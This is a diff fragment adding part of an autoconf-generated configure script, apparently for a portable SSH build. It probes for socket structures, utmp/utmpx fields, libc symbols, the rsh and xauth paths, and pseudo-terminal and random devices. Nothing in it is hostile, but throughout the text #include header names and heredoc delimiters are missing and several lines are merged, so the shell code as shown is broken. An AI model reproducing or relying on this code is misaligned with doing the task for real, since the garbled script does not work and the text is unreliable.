configure:3517: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_struct_sockaddr_storage="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_struct_sockaddr_storage="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_struct_sockaddr_storage" 1>&6 +if test "x$ac_cv_have_struct_sockaddr_storage" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_STRUCT_SOCKADDR_STORAGE 1 +EOF + +fi + +echo $ac_n "checking for struct sockaddr_in6""... $ac_c" 1>&6 +echo "configure:3540: checking for struct sockaddr_in6" >&5 +if eval "test \"`echo '$''{'ac_cv_have_struct_sockaddr_in6'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + struct sockaddr_in6 s; s.sin6_family = 0; +; return 0; } +EOF +if { (eval echo configure:3556: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_struct_sockaddr_in6="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_struct_sockaddr_in6="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_struct_sockaddr_in6" 1>&6 +if test "x$ac_cv_have_struct_sockaddr_in6" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_STRUCT_SOCKADDR_IN6 1 +EOF + +fi + +echo $ac_n "checking for struct in6_addr""... $ac_c" 1>&6 +echo "configure:3579: checking for struct in6_addr" >&5 +if eval "test \"`echo '$''{'ac_cv_have_struct_in6_addr'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + struct in6_addr s; s.s6_addr[0] = 0; +; return 0; } +EOF +if { (eval echo configure:3595: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_struct_in6_addr="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_struct_in6_addr="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_struct_in6_addr" 1>&6 +if test "x$ac_cv_have_struct_in6_addr" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_STRUCT_IN6_ADDR 1 +EOF + +fi + +echo $ac_n "checking for struct addrinfo""... $ac_c" 1>&6 +echo "configure:3618: checking for struct addrinfo" >&5 +if eval "test \"`echo '$''{'ac_cv_have_struct_addrinfo'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include +#include + +int main() { + struct addrinfo s; s.ai_flags = AI_PASSIVE; +; return 0; } +EOF +if { (eval echo configure:3635: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_struct_addrinfo="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_struct_addrinfo="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_struct_addrinfo" 1>&6 +if test "x$ac_cv_have_struct_addrinfo" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_STRUCT_ADDRINFO 1 +EOF + +fi + + +# Checks for structure members + + +# look for field 'ut_host' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_host + echo $ac_n "checking for ut_host field in utmp.h""... $ac_c" 1>&6 +echo "configure:3665: checking for ut_host field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_host" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_HOST_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_host' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_host + echo $ac_n "checking for ut_host field in utmpx.h""... $ac_c" 1>&6 +echo "configure:3705: checking for ut_host field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_host" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_HOST_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'syslen' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"syslen + echo $ac_n "checking for syslen field in utmpx.h""... $ac_c" 1>&6 +echo "configure:3745: checking for syslen field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "syslen" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_SYSLEN_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_pid' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_pid + echo $ac_n "checking for ut_pid field in utmp.h""... $ac_c" 1>&6 +echo "configure:3785: checking for ut_pid field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_pid" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_PID_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_type' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_type + echo $ac_n "checking for ut_type field in utmp.h""... $ac_c" 1>&6 +echo "configure:3825: checking for ut_type field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_type" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_TYPE_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_type' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_type + echo $ac_n "checking for ut_type field in utmpx.h""... $ac_c" 1>&6 +echo "configure:3865: checking for ut_type field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_type" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_TYPE_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_tv' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_tv + echo $ac_n "checking for ut_tv field in utmp.h""... $ac_c" 1>&6 +echo "configure:3905: checking for ut_tv field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_tv" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_TV_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_id' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_id + echo $ac_n "checking for ut_id field in utmp.h""... $ac_c" 1>&6 +echo "configure:3945: checking for ut_id field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_id" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_ID_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_id' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_id + echo $ac_n "checking for ut_id field in utmpx.h""... $ac_c" 1>&6 +echo "configure:3985: checking for ut_id field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_id" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_ID_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_addr' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_addr + echo $ac_n "checking for ut_addr field in utmp.h""... $ac_c" 1>&6 +echo "configure:4025: checking for ut_addr field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_addr" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_ADDR_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_addr' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_addr + echo $ac_n "checking for ut_addr field in utmpx.h""... $ac_c" 1>&6 +echo "configure:4065: checking for ut_addr field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_addr" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_ADDR_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_addr_v6' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_addr_v6 + echo $ac_n "checking for ut_addr_v6 field in utmp.h""... $ac_c" 1>&6 +echo "configure:4105: checking for ut_addr_v6 field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_addr_v6" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_ADDR_V6_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_addr_v6' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_addr_v6 + echo $ac_n "checking for ut_addr_v6 field in utmpx.h""... $ac_c" 1>&6 +echo "configure:4145: checking for ut_addr_v6 field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_addr_v6" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_ADDR_V6_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_exit' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_exit + echo $ac_n "checking for ut_exit field in utmp.h""... $ac_c" 1>&6 +echo "configure:4185: checking for ut_exit field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_exit" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_EXIT_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_time' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_time + echo $ac_n "checking for ut_time field in utmp.h""... $ac_c" 1>&6 +echo "configure:4225: checking for ut_time field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_time" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_TIME_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_time' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_time + echo $ac_n "checking for ut_time field in utmpx.h""... $ac_c" 1>&6 +echo "configure:4265: checking for ut_time field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_time" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_TIME_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_tv' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_tv + echo $ac_n "checking for ut_tv field in utmpx.h""... $ac_c" 1>&6 +echo "configure:4305: checking for ut_tv field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_tv" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_TV_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +echo $ac_n "checking for ss_family field in struct sockaddr_storage""... $ac_c" 1>&6 +echo "configure:4342: checking for ss_family field in struct sockaddr_storage" >&5 +if eval "test \"`echo '$''{'ac_cv_have_ss_family_in_struct_ss'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + struct sockaddr_storage s; s.ss_family = 1; +; return 0; } +EOF +if { (eval echo configure:4358: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_ss_family_in_struct_ss="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_ss_family_in_struct_ss="no" +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_ss_family_in_struct_ss" 1>&6 +if test "x$ac_cv_have_ss_family_in_struct_ss" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SS_FAMILY_IN_SS 1 +EOF + +fi + +echo $ac_n "checking for __ss_family field in struct sockaddr_storage""... $ac_c" 1>&6 +echo "configure:4380: checking for __ss_family field in struct sockaddr_storage" >&5 +if eval "test \"`echo '$''{'ac_cv_have___ss_family_in_struct_ss'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + struct sockaddr_storage s; s.__ss_family = 1; +; return 0; } +EOF +if { (eval echo configure:4396: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have___ss_family_in_struct_ss="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have___ss_family_in_struct_ss="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have___ss_family_in_struct_ss" 1>&6 +if test "x$ac_cv_have___ss_family_in_struct_ss" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE___SS_FAMILY_IN_SS 1 +EOF + +fi + + +echo $ac_n "checking if libc defines __progname""... $ac_c" 1>&6 +echo "configure:4420: checking if libc defines __progname" >&5 +if eval "test \"`echo '$''{'ac_cv_libc_defines___progname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + ac_cv_libc_defines___progname="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_libc_defines___progname="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_libc_defines___progname" 1>&6 +if test "x$ac_cv_libc_defines___progname" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE___PROGNAME 1 +EOF + +fi + + +echo $ac_n "checking if libc defines sys_errlist""... $ac_c" 1>&6 +echo "configure:4457: checking if libc defines sys_errlist" >&5 +if eval "test \"`echo '$''{'ac_cv_libc_defines_sys_errlist'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + ac_cv_libc_defines_sys_errlist="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_libc_defines_sys_errlist="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_libc_defines_sys_errlist" 1>&6 +if test "x$ac_cv_libc_defines_sys_errlist" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SYS_ERRLIST 1 +EOF + +fi + + +# Looking for programs, paths and files +# Check whether --with-rsh or --without-rsh was given. +if test "${with_rsh+set}" = set; then + withval="$with_rsh" + + if test "x$withval" != "$no" ; then + rsh_path=$withval + fi + +else + + # Extract the first word of "rsh", so it can be a program name with args. +set dummy rsh; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:4507: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_rsh_path'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$rsh_path" in + /*) + ac_cv_path_rsh_path="$rsh_path" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_rsh_path="$rsh_path" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_rsh_path="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +rsh_path="$ac_cv_path_rsh_path" +if test -n "$rsh_path"; then + echo "$ac_t""$rsh_path" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + + +fi + + +# Check whether --with-xauth or --without-xauth was given. +if test "${with_xauth+set}" = set; then + withval="$with_xauth" + + if test "x$withval" != "$xno" ; then + xauth_path=$withval + fi + +else + + # Extract the first word of "xauth", so it can be a program name with args. +set dummy xauth; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:4557: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_xauth_path'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$xauth_path" in + /*) + ac_cv_path_xauth_path="$xauth_path" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_xauth_path="$xauth_path" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_xauth_path="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +xauth_path="$ac_cv_path_xauth_path" +if test -n "$xauth_path"; then + echo "$ac_t""$xauth_path" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if (test ! -z "$xauth_path" && test -x "/usr/openwin/bin/xauth") ; then + xauth_path="/usr/openwin/bin/xauth" + fi + + +fi + + +if test ! -z "$xauth_path" ; then + cat >> confdefs.h <> confdefs.h <> confdefs.h <&6 +echo "configure:4623: checking for "/dev/ptmx"" >&5 +if eval "test \"`echo '$''{'ac_cv_file_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + { echo "configure: error: Cannot check for file existence when cross compiling" 1>&2; exit 1; } +else + if test -r "/dev/ptmx"; then + eval "ac_cv_file_$ac_safe=yes" + else + eval "ac_cv_file_$ac_safe=no" + fi +fi +fi +if eval "test \"`echo '$ac_cv_file_'$ac_safe`\" = yes"; then + echo "$ac_t""yes" 1>&6 + + cat >> confdefs.h <&6 + +fi + +fi + +ac_safe=`echo ""/dev/ptc"" | sed 'y%./+-%__p_%'` +echo $ac_n "checking for "/dev/ptc"""... $ac_c" 1>&6 +echo "configure:4656: checking for "/dev/ptc"" >&5 +if eval "test \"`echo '$''{'ac_cv_file_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + { echo "configure: error: Cannot check for file existence when cross compiling" 1>&2; exit 1; } +else + if test -r "/dev/ptc"; then + eval "ac_cv_file_$ac_safe=yes" + else + eval "ac_cv_file_$ac_safe=no" + fi +fi +fi +if eval "test \"`echo '$ac_cv_file_'$ac_safe`\" = yes"; then + echo "$ac_t""yes" 1>&6 + + cat >> confdefs.h <&6 + +fi + + +# Options from here on. Some of these are preset by platform above + +# Check for user-specified random device, otherwise check /dev/urandom +# Check whether --with-random or --without-random was given. +if test "${with_random+set}" = set; then + withval="$with_random" + + if test "x$withval" != "xno" ; then + RANDOM_POOL="$withval"; + cat >> confdefs.h <&6 +echo "configure:4707: checking for "/dev/urandom"" >&5 +if eval "test \"`echo '$''{'ac_cv_file_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + { echo "configure: error: Cannot check for file existence when cross compiling" 1>&2; exit 1; } +else + if test -r "/dev/urandom"; then + eval "ac_cv_file_$ac_safe=yes" + else + eval "ac_cv_file_$ac_safe=no" + fi +fi +fi +if eval "test \"`echo '$ac_cv_file_'$ac_safe`\" = yes"; then + echo "$ac_t""yes" 1>&6 + + 